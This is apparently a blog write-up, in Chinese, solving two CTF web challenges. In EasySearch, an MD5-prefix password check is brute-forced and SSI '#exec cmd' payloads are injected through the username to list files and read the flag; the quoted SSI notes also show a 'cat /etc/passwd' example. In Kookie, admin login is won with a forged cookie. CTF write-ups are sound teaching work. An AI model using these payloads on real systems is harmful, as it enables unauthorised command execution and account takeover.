[BJDCTF2020]EasySearch
原始信息
一个登录框,单从源码上看,没什么信息。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><div class="login">
<form action="index.php" method="post" id="form">
<div class="logo"></div>
<div class="login_form">
<div class="user">
<input class="text_value" value="" name="username" type="text" id="username" placeholder="username">
<input class="text_value" value="" name="password" type="password" id="password" placeholder="username">
</div>
<button class="button" id="submit" type="submit">登录</button>
</div> <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</form>
</div></body>
</html>
这个页面能提供的信息太有限了,最多就剥离出一个表单提交用到的username和password。
尝试直接扫站:
# 扫站的工具是dirmap,使用dirsearch也行,如果有字典,使用BP也能扫。
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/css][535.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/login.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/plain; charset=utf-8][1.13kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81//index.php.swp
100% (5878 of 5878) |############################################################| Elapsed Time: 0:12:02 Time: 0:12:02
# 这里就发现了一个很最重要的文件:index.php.swp
打开index.php.swp得到源码:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; //Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
源码当中存在许多莫名其妙的***,可能是其他源码,这不是重点。
解题
html源码没什么可读性,主要关注php源码。
稍微整理下,进行源码分析:
<?php
# 不可见的源码被我删掉了
# 启动输出缓冲区
ob_start();
function get_hash()
{
# 定义ascii字符以及一些常见符号
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
# mt_rand是获取随机整数的,这是从定义的字符串当中随机取出整数,并且拼接在一起
# 随机从$chars当中取出字符串,一共5个
$random = $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)]; //Random 5 times
# uniqid():返回唯一标识符,且是基于当前时间和微秒数。
# content是唯一标识符和随机字符串拼接的结果
$content = uniqid() . $random;
// 返回$content的哈希值
return sha1($content);
}
// 控制数据包类型
header("Content-Type: text/html;charset=utf-8");
// 存在检测
if (isset($_POST['username']) and $_POST['username'] != '') {
# 默认值(静态)
$admin = '6d0bc1';
# $admin 和传入的密码的 md5加密值 的 前六位相等
if ($admin == substr(md5($_POST['password']), 0, 6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
# 创建文件路径,get_hash()是唯一标识符函数。
$file_shtml = "public/" . get_hash() . ".shtml";
# 以写入为主,打开这个文件。
# 当文件无法打开时,转到die终止程序。
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
# 得到用户名拼接的特殊字符串,部分被掩饰无法观察,可能带上了flag
$text = '******<h1>Hello,' . $_POST['username'] . '</h1>******';
# 写入文件当中,并且关闭文件
fwrite($shtml, $text);
fclose($shtml);
# 表示程序结束
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}
} else {
# 某些源码不可见
echo '';
}
如果我想读取flag,或者文件目录,应该从哪下手?
第一个需要跨越的障碍:md5字符串的截取问题
$admin == substr(md5($_POST['password']), 0, 6)
第二个需要跨越的障碍: 路径文件是否存在的问题
$file_shtml = "public/" . get_hash() . ".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
# w模式是强行创建新文件并且写入,这个or后面的语句是基于无法打开文件的情况存在的,与当下状况有些相悖。
仔细一想,第一个障碍可以尝试自己生成来解决,而第二个,则可以尝试历史生成解决。但是么……有一个非常重要的条件,就是你的password经过认证后就会回显它的URL路径信息了哇……
也就是说,这第二个障碍压根不存在……
# coding=utf-8
import hashlib
for i in range(10000000000):
admin = '6d0bc1'
# $admin 和传入的密码的 md5加密值 的 前六位相等
hash_num = hashlib.md5()
hash_num.update(str(i).encode('utf-8'))
# print(hash_num.hexdigest())
if admin == hash_num.hexdigest()[0:6]:
print(i)
break
#得到2020666
得到对应的数字后,可以试试成功与否
POST /index.php HTTP/1.1
Host: 03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
Connection: close
Referer: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81/index.php
Upgrade-Insecure-Requests: 1
username=username%27&password=2020666
悠着点哦,password的数字后面是没有任何字符串的。之前做的时候以为是用来标识为utf8编码的,后来试了几十次才发现那根本就是故意匡我的。数字后面根本不需要什么标识符。可能是我个人手误吧。
#下面是返回包的内容
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 17 Sep 2023 12:18:18 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
Url_is_here: public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><script>alert('[+] Welcome to manage system')</script>[!] Header error ... <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</form>
</div></body>
</html>
返回包不仅给出了你需要的URL,甚至还回显了用户名。用户名是一个回显点,也是一个注点。但要怎么注呢?
说实在,给出下面这个路径给我们访问我是真的没想到。
为了解读源码,那时间浪费的有点严重哇……
public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
之前遇到的SSTI有明显的{{}}特征,结果这次插入{{}}后给我原原本本的返回来了。试了几次都无效,说明漏洞点不在这个知识点。
这个题目根据大佬WP,此处用到的是SSI。原因是因为这个返回的文件使用的Shtml格式文件。
网上查了下相关的shtml的资料,得到的是下面这些:
这里摘录下SSI语法:(具体的摘录来源点我)
SSI语法
SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。
1.显示服务器端环境变量<#echo>
<!–#echo var="DOCUMENT_NAME"–> //本文档名称
<!–#echo var="DATE_LOCAL"–> //现在时间
<! #echo var="REMOTE_ADDR"–> //显示IP地址
2.将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
3.显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
<! #flastmod file="文件名称"–> //文件最近更新日期
<!–#fsize file="文件名称"–> //文件的长度
4.直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
尝试进行命令执行:
# 下面是登录和访问的组合,且只截取关键信息:
GET: /index.php
POST: username=<!--#exec cmd="ls"-->&password=2020666
return: Url_is_here: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
GET: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
return:
269c770854350d82db9e89bcc2b74715f0a96b6f.shtml
2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9aa614d73ad2694b92866b7c06.shtml
3338dcea2346d456527316503de582e136c25476.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
a05d058a9c759f8dd06fac9a6b9d06246b4ed759.shtml
bfc2f287e3213c54f5cb90c2df4007305db4ac0a.shtml
c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml
ca9ac3b902909d7ec631399cd928603c33f668f5.shtml
css
e094e1247c44f2212aa221bacbcedf8f393750ad.shtml
e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml
images
GET: /index.php
POST: username=<!--#exec cmd="ls ../"-->&password=2020666
return: Url_is_here: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml
GET: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml
return:
flag_990c66bf85a09c664f0b6741840499b2
index.php
index.php.swp
public
# 最终的WP
GET: /index.php
POST: username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
return: Url_is_here: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml
GET: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml
return: flag{e249427f-cfc2-4d75-8d7c-a73be6ecf05a}
总结
学习了什么是shtml,以及对应的SSI注入。
C站找资源,有的不起眼的搜索列表下下下面的文章,或许就是小白眼中最宝贵的宝藏。因为有些博文永远简短,最适合的是大佬,并不是想要学习的小白想见到的。
[BSidesCF 2019]Kookie
原始信息
也是一个登录框。
<h1>Can you log in?</h1>
<p>Log in as <tt>admin</tt>!</p>
<p>We found the account <tt>cookie</tt> / <tt>monster</tt></p>
<div class='challenge rounded'>
<div class='messagebox'>
<div class="alert alert-warning" role="alert">
<p>Invalid username or password!</p>
</div>
</div>
<form method='GET'>
<input type='hidden' name='action' value='login' />
<p>Enter your password below!</p>
<p>Username: <input type='text' class='name' name='username' /></p>
<p>Password: <input type='text' name='password' /></p>
<p><input type='submit' value='Log in!' /></p>
</form>
</div>
提取的信息:
1.登录到admin
2.使用cookie登录
3.登录的用户名和密码的"name"分username和password
解题
1.尝试弱口令爆破,无法爆破。
2.根据cookie提示,思考构造cookie假身份认证的方法:
Cookie: username=admin
hackbar加上cookie后直接发送登录,获得如下结果:
<div class="alert alert-info" role="alert">
<p>Congratulations! You're logged in as
<span class='highlight'>admin</span>
! Your flag is:
<span class='highlight'>
flag{6989dc42-4fa8-42bd-9dc6-1f255711188a}
</span></p>
</div>
总结
相比之前的题目,这道题真的算不要太简单。但有一个核心点,就是你是如何知道这个cookie就是这么放身份验证的。
如果细心的小白应该会发现,每次遇到cookie都是以等式出现的,并且还带了一些session和tooken的验证等。
这是寻常做题积累出来的。还有一点,题目扫站扫不出东西,就剩下一个光秃秃的表单要你以管理员身份进行登录,貌似也就只有这一种伪造的方法了。小的阅历不够,继续刷题去喽~